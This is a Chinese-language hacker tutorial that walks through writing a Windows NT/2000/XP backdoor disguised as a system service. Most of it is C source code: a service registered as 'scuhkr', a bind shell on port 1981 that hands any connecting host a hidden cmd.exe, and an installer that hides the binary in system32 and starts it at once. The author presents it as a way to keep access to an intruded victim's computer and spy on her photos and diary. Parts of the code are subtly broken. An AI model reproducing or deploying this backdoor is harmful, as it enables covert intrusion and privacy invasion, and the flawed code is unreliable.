以往大多数的木马/ 后门都是通过修改系统ini 文件(比如Win.ini ,System.ini )或修改注册表的RUN 值来实现自启动的,还有更简单的是修改Autobat.exe (老大,地球不适合你,你还是回火星吧),但随着网络用户安全意识的提高,连我家旁边卖茶叶蛋的大妈都知道如何对付这些老方法了。为了适应新时代木马后门技术的发展要求,一种利用Windows NT/2000/XP 系统服务的后门产生了,现在的WinShell ,WinEggDrop 等众人皆知的Telnte 扩展后门都利用了这种方式。相信很多小菜们对这种后门技术并不了解,所以,我在这里就充个大头,给大家传授教业解解惑吧(受害MM 目光呆滞,一脸绝望:有了你们这帮人,天下什么时候才能“ 无贼” 啊?)。
前置原理 Windows NT/2000/XP 提供的服务既可以指一种特定的Win32 进程,也可以指内核模式的设备驱动程序。操作系统的一个称为“ 服务控制管理器SCM” 的组件被用来装载和控制这两种类型的服务。当然,我们说的服务,是指的前者,即我们可以利用的服务是一个在Windows 服务” ,就可以看到右边有一堆的服务,如图1 所示。每一行指定了一个特定服务的属性,包括名称、描述、状态、启动类型、登录方式等。 à 管理工具 à NT/2000/XP 下执行的程序。当我们打开“ 控制面板
图1
“ 服务” 本身是Windows NT/2000/XP 下客户/服务器软件的合理选择,因为它提供了像Unix 下后台程序Daemons (守护进程)的等价物,而且使得创建能够代表权限低的用户进行权限高的操作的程序成为可能。像我们熟知的RPC 服务,病毒扫描程序以及备份程序都是很适合作为服务进程。 服务能被我们利用作为后门实现自启动,是因为它有三个很重要的特性: 1. 服务可以被指定为自启动,在利用传统的注册表修改RUN 键值,添加ini 自启动项等方法的基础上又多了一种选择。 2. 服务可以在任何用户登录前开始运行,我们可以在服务启动时加入杀防火墙的代码。 3. 服务是运行在后台的,如果不注意,天知道什么时候被人家装了后门。
服务大都是由服务控制程序在注册表中维护的一个信息数据库来管理的,每个服务在HKEY_LOCAL_MACHINESystemCurrentControlSetServices 中都可以找到相应的一个关键项。服务区别于一般Windows NT/2000/XP 程序的主要之处在于服务与服务控制管理程序的合作,在后面的编程中我们将会体会到这一点。
编程实现 一个完整的服务分为安装服务程序,主体服务程序和卸载服务程序。我们先来写服务的主体部分,示例代码如下:
void main() ... { SERVICE_TABLE_ENTRY ServiceTable[] = ... { ... { " scuhkr " , BDServiceMain} , ... {NULL, NULL} // "哨兵" } ; // 连接到服务控制管理器 StartServiceCtrlDispatcher(ServiceTable); }
路人甲:什么,就这么短?你想侮辱广大鸟儿的智慧?呵呵,先别急,听我慢慢道来:上面代码中,我们先给出了一个SERVICE_TABLE_ENTRY 结构数组,每个成员描述了调用进程提供的服务,这里我们只安装了一个服务名为Scuhkr 的服务,后面的BDServiceMain() 我们称之为服务主函数,通过回调该函数提供了服务入口地址,它原形的参数必须定义成如下形式:
void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR * lpszArgv) ... { DWORD dwThreadId; // 存放线程ID // 通过RegisterServiceCtrlHandler()与服务控制程序建立一个通信的协议。 // BDHandler()是我们的服务控制程序,它被可以被用来开始,暂停,恢复,停止服务等控制操作 if ( ! (ServiceStatusHandle = RegisterServiceCtrlHandler( " scuhkr " , BDHandler))) return ; // 表示该服务私有 ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; // 初始化服务,正在开始 ServiceStatus.dwCurrentState = SERVICE_START_PENDING; // // 服务可以接受的请求,这里我们只接受停止服务请求和暂停恢复请求 ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; // 下面几个一般我们不大关心,全为0 ServiceStatus.dwServiceSpecificExitCode = 0 ; ServiceStatus.dwWin32ExitCode = 0 ; ServiceStatus.dwCheckPoint = 0 ; ServiceStatus.dwWaitHint = 0 ; // 必须调用SetServiceStatus()来响应服务控制程序的每次请求通知 SetServiceStatus(ServiceStatusHandle, & ServiceStatus); // 开始运行服务 ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0 ; ServiceStatus.dwWaitHint = 0 ; SetServiceStatus(ServiceStatusHandle, & ServiceStatus); // 我们用一个事件对象来控制服务的同步 if ( ! (hEvent = CreateEvent(NULL, FALSE, FALSE, NULL))) return ; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwCheckPoint = 0 ; ServiceStatus.dwWaitHint = 0 ; SetServiceStatus(ServiceStatusHandle, & ServiceStatus); // 开线程来启动我们的后门程序 if ( ! (hThread = CreateThread(NULL, 0 , (LPTHREAD_START_ROUTINE)MainFn, (LPVOID) 0 , 0 , & dwThreadId))) ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0 ; ServiceStatus.dwWaitHint = 0 ; WaitForSingleObject(hEvent, INFINITE); CloseHandle(hThread); ExitThread(dwThreadId); CloseHandle(hEvent); return ; }
上面我们调用了一个服务控制函数BDHandler() ,由于只是简单的介绍,我们这里只处理服务停止控制请求的情况,其它暂停、恢复等功能,读者可以自己完善。下面是对BDHandler() 的实现代码:
void WINAPI BDHandler(DWORD dwControl) ... { switch (dwControl) ... { case SERVICE_CONTROL_STOP: // 等待后门程序的停止 ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; ServiceStatus.dwCheckPoint = 0 ; ServiceStatus.dwWaitHint = 0 ; SetServiceStatus(ServiceStatusHandle, & ServiceStatus); // 设时间为激发状态,等待下一个事件的到来 SetEvent(hEvent); ServiceStatus.dwCurrentState = SERVICE_STOP; ServiceStatus.dwCheckPoint = 0 ; ServiceStatus.dwWaitHint = 0 ; // 停止 SetServiceStatus(ServiceStatusHandle, & ServiceStatus); break ; default : break ; } }
服务控制函数搞定了,下面就剩下主体的后门函数了。本程序借用了 N 多前辈翻写过了无数次的后门程序,通过开一个端口监听,允许任何与该端口连接的远程主机建立信任连接,并提供一个交互式 Shell 。为了代码清晰,我去掉了错误检查,整个过程很简单,也就不多解释了,黑防上都有 N 期介绍了,代码如下:
DWORD WINAPI MainFn(LPVOID lpParam) ... { WSADATA WSAData; struct sockaddr_in RemoteAddr; DWORD dwThreadIdA,dwThreadIdB,dwThreadParam = 0 ; PROCESS_INFORMATION processinfo; STARTUPINFO startinfo; WSAStartup(MAKEWORD( 2 , 2 ), & WSAData); ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); RemoteAddr.sin_family = AF_INET; RemoteAddr.sin_port = htons( 1981 ); // 监听端口 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY; bind(ServerSocket,(LPSOCKADDR) & RemoteAddr, sizeof (RemoteAddr)); listen(ServerSocket, 2 ); varA = 0 ; varB = 0 ; CreateThread(NULL, 0 , ThreadFuncA, NULL, 0 , & dwThreadIdA); CreateThread(NULL, 0 , ThreadFuncB, NULL, 0 , & dwThreadIdB); dowhile((varA || varB) == 0 ); GetStartupInfo( & startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; startinfo.hStdInput = hReadPipe; startinfo.hStdError = hWritePipe; startinfo.hStdOutput = hWritePipe; startinfo.wShowWindow = SW_HIDE; // 隐藏控制台窗口 char szAPP[ 256 ]; GetSystemDirectory(szAPP,MAX_PATH + 1 ); strcat(szAPP, " cmd.exe " ); // 开cmd进程 if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0 , NULL, NULL, & startinfo, & processinfo) == 0 ) ... { printf ( " CreateProcess Error!n " ); return - 1 ; } while ( true ) ... { ClientSocket = accept(ServerSocket, NULL, NULL); Sleep( 250 ); } return 0 ; } // 线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端 DWORD WINAPI ThreadFuncA( LPVOID lpParam ) ... { SECURITY_ATTRIBUTES pipeattr; DWORD nByteToWrite, nByteWritten; char recv_buff[ 1024 ]; pipeattr.nLength = sizeof (SECURITY_ATTRIBUTES); pipeattr.lpSecurityDescriptor = NULL; pipeattr.bInheritHandle = TRUE; CreatePipe( & hReadPipe, & hWriteFile, & pipeattr, 0 ); varA = 1 ; while ( true ) ... { Sleep( 250 ); nByteToWrite = recv(ClientSocket, recv_buff, 1024 , 0 ); printf( " %sn " , recv_buff); WriteFile(hWriteFile, recv_buff, nByteToWrite, & nByteWritten, NULL); } return 0 ; } // 线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端 DWORD WINAPI ThreadFuncB( LPVOID lpParam ) ... { SECURITY_ATTRIBUTES pipeattr; DWORD len; char send_buff[ 25000 ]; pipeattr.nLength = sizeof (SECURITY_ATTRIBUTES); pipeattr.lpSecurityDescriptor = NULL; pipeattr.bInheritHandle = TRUE; CreatePipe( & hReadFile, & hWritePipe, & pipeattr, 0 ); varB = 1 ; while ( true ) return 0 ; }
在我们成功入侵目标 MM 主机后,看了 MM 的照片,读了 MM 的日记 …… 此处省略恶行 30 条。在拍屁股走人之前,怎么也要留个后门,方便下次继续看新的照片,继续读 MM 的小秘密(呵呵,大家不要误会,我从来不干这种事 D )。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:
// InstallService.cpp void main() ... { SC_HANDLE hSCManager = NULL, // 服务控制管理器句柄 hService = NULL; // 服务句柄 char szSysPath[MAX_PATH] = , szExePath[MAX_PATH] = ; // 我们要把我们后台执行的程序放在这里,一般就是在admin$system32里,隐蔽性高 if ((hSCManager = OpenSCManager(NULL, // NULL表明是本地主机 NULL, // 要打开的服务控制管理数据库,默认为空 SC_MANAGER_CREATE_SERVICE // 创建权限 )) == NULL) ... { pirntf( " OpenSCManager failedn " ); return ; } GetSystemDirectory(szSysPath, MAX_PATH); // 获得系统目录,也就是system32里面,隐蔽起来 strcpy(szExePath, szSysPath); strcat(szExePath, " scuhkr.exe " ); // 应用程序绝对路径 if ((hService = CreateService(hSCManager, // 指向服务控制管理数据库的句柄 " scuhkr " , // 服务名 " scuhkr backdoor service " , // 显示用的服务名 SERVICE_ALL_ACCESS, // 所有访问权限 SERVICE_WIN32_OWN_PROCESS, // 私有类型 SERVICE_DEMAND_START, // 自启动类型 SERVICE_ERROR_IGNORE, // 忽略错误处理 szExePath, // 应用程序路径 NULL, NULL, NULL, NULL, NULL)) == NULL) ... { printf( " %dn " , GetLastError()); return ; } // 让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头? if (StartService(hService, 0 , NULL) == FALSE) ... { printf( " StartService failed: %dn " , GetLastError()); return ; } printf(“Install service successfullyn ”); CloseServiceHandle(hService); // 关闭服务句柄 CloseServiceHandle(hSCManager); // 关闭服务管理数据库句柄 }
Ok ,一切都写完了,我们在本机上测试一下,先把前面的服务主体程序Scuhkr.exe 拷贝到系统目录system32 下(如果需要程序自动实现自拷贝的,可以通过CopyFile() 来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell 的源代码来看看吧),然后执行InstallServcie.exe 。为了看我们是否安装成功,有两个办法,一是通过控制面板-> 管理工具-> 服务,二是利用控制台下系统自带的Sc.exe 工具,比如:“sc.exe qc rpcss” ,如图2 所示。看到安装服务的信息了?是不是很简单呢!
图2
至于以后不想再要这个 MM 的肉鸡了,又不想留下把柄什么的,要删除服务怎么办?读者就自己当做练习吧。还有一点要说的是,本人也是临时抱佛脚,狂啃了几天关于 NT 系统服务方面的编程,如果有什么不对,欢迎大家批评指正!